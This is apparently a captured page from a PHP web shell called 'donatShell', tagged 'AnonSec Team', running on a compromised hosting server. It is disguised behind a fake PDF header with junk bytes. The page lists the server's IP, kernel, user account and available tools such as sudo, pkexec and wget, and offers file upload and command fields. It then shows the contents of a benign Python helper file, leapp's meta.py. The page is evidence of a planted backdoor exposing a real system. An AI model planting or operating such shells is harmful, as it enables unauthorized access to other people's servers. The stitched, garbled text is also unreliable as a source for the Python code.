%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.205
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.7/site-packages/leapp/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/lib/python2.7/site-packages/leapp/utils/meta.py
import itertools


def with_metaclass(meta_class, base_class=object):
    """
    :param meta_class: The desired metaclass to use
    :param base_class: The desired base class to use, the default one is object
    :type base_class: Type
    :return: Metaclass type to inherit from

    :Example:

    .. code-block:: python

       class MyMetaClass(type):
           def __new__(mcs, name, bases, attrs):
               klass = super(MyMetaClass, mcs).__new__(mcs, name, bases, attrs)
               klass.added = "Added field"
               return klass

       class MyClass(with_metaclass(MyMetaClass)):
           pass

       # This is equivalent to python 2:
       class MyClass(object):
           __metaclass__ = MyMetaClass

       # Or python 3
       class MyClass(object, metaclass=MyMetaClass):
           pass
    """
    return meta_class(
        'with_meta_base_' + base_class.__name__ + '_' + meta_class.__name__,
        (base_class,),
        {}
    )


def get_flattened_subclasses(cls):
    """
    Returns all the given subclasses and their subclasses recursively for the given class
    :param cls: Class to check
    :type cls: Type
    :return: Flattened list of subclasses and their subclasses
    """
    classes = cls.__subclasses__()
    return list(itertools.chain(classes, *[get_flattened_subclasses(x) for x in classes]))

Anon7 - 2022
AnonSec Team